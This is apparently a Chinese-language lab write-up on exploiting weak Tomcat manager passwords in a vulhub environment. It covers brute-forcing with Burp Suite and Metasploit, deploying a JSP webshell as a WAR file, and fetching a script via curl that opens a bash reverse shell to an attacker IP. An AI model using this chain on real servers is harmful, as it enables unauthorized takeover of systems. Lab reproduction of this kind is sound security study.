Tomcat弱口令复现及利用(反弹shell)

来自:网络
时间:2022-05-10
阅读:
目录

漏洞描述

Tomcat有一个管理后台,其用户名和密码在Tomcat安装目录下的conf\tomcat-users.xml文件中配置,不少管理员为了方便,经常采用弱口令。Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。其中,欲访问后台,需要对应用户有相应权限。
Tomcat7+ 权限分为:
manager(后台管理)

manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限,和status权限
manager-jmx 拥有jmx权限,和status权限
host-manager(虚拟主机管理)

admin-gui 拥有html页面权限
admin-script 拥有text接口权限
二、漏洞影响
Tomcat <= 6.0.0 默认用户名为admin,密码为空,无暴力破解限制。
Tomcat >= 6.0.0 无默认用户,五次失败后,账户即被锁定。
但是正常安装的情况下,tomcat8 中默认没有任何用户,且 Manager 页面只允许本地 IP 访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

复现

环境

一台攻击机(kali-2021)192.168.141.190
受害机(vulhub搭建的)192.168.141.194
一台用来下载反弹shell脚本的服务器(内网,如果有服务器更好)192.168.141.128(利用时让受害主机下载shell文件实现反弹shell)

攻击流程

按照前人经验可以使用burpsuite进行爆破或者使用msf进行爆破
首先是根据burpsuite进行爆破:
抓取请求数据包可以看到

Tomcat弱口令复现及利用(反弹shell)

=其中没有看到熟悉的账号密码,但是其中’Authorization: Basic dG9tY2F0OnRvbWNhdA=='将其中的base64字符串解密可以看到结果格式为"tomcat:tomcat"所以将请求包送至爆破模块,构造格式为x:x的payload

Tomcat弱口令复现及利用(反弹shell)

Tomcat弱口令复现及利用(反弹shell)

Tomcat弱口令复现及利用(反弹shell)

Tomcat弱口令复现及利用(反弹shell)

结果中的200即为成功,但是前面说明了tomcat8或有防爆破机制,当一个用户名登录超过五次就会锁定账户,网上有说要用"tomcat暴破图形化—绕过tomcat 6/7/8的防暴破机制"这个脚本来绕过但是作者没有找到免费的,就不测试了.
其次使用过msf进行爆破

Tomcat弱口令复现及利用(反弹shell)

msf中找到上面的模块配置出options的rhosts和rport就可以进行爆破(run)了

Tomcat弱口令复现及利用(反弹shell)

可以看到用户名和密码在都是tomcat的时候爆破成功,而且可以看到msf应该是自带了绕过防爆破脚本,而且可以通过自定义user和password文件进行测试,所以作者更推荐使用msf爆破方式

利用

msf利用

这里强调一下,在作者复现网上说的使用exploit/multi/http/tomcat_mgr_deploy但是在配置好rhoss和rport进行run的时候出现无法拿到shell问题

Tomcat弱口令复现及利用(反弹shell)

所以作者使用了exploit/multi/http/tomcat_mgr_upload进行利用配置同deploy,配置httpusername,httppassword,rhosts.rport 然后运行拿到shell

Tomcat弱口令复现及利用(反弹shell)

反弹shell利用

整体思路:首先在网页端登录进管理后台上传jsp后门文件,然后访问这个jsp后门即可,虽然上传之后就可以通过shell软件控制,但是为了复习反弹shell的过程,作者将进一步通过上传的jsp一句话木马(也可以上传大马)进行反弹shell.

首先将一句话shelloneword.jsp(一句话木马文件)通过命令,jar cvf shelloneword.war shelloneword.jsp 执行成功后在管理后台找到如下然后上传

Tomcat弱口令复现及利用(反弹shell)

Tomcat弱口令复现及利用(反弹shell)

成功之后可以在这看到结果

之后通过各种软件访问http://192.168.141.194:8080/shelloneword/shelloneword.jsp?i= xxxx就行了

但是作者的方式是通过让受害主机访问服务器主机下载shell文件,进行反弹shell,所以前面只是中间过程,首先让受害主机执行i=curl -o /shell.sh http://192.168.141.128/shell.txt 其中shell.txt文件内容为

bash -i >& /dev/tcp/192.168.141.190/7777 0>&1

将ip和端口改为自己的,然后打开nc 监听7777端口,访问http://192.168.141.194:8080/shelloneword/shelloneword.jsp?i=bash /shell.sh

Tomcat弱口令复现及利用(反弹shell)

反弹shell成功

参考文章

[1] https://blog.csdn.net/qq_33020901/article/details/98357659
[2] https://blog.csdn.net/weixin_44037296/article/details/116376114
[3] https://blog.csdn.net/qq_43665434/article/details/116903953
[4] https://www.cnblogs.com/henry666/p/14379888.html
[5]https://www.cnblogs.com/qianxinggz/p/13440366.html
[6]https://blog.csdn.net/weixin_42432317/article/details/90208213

返回顶部
顶部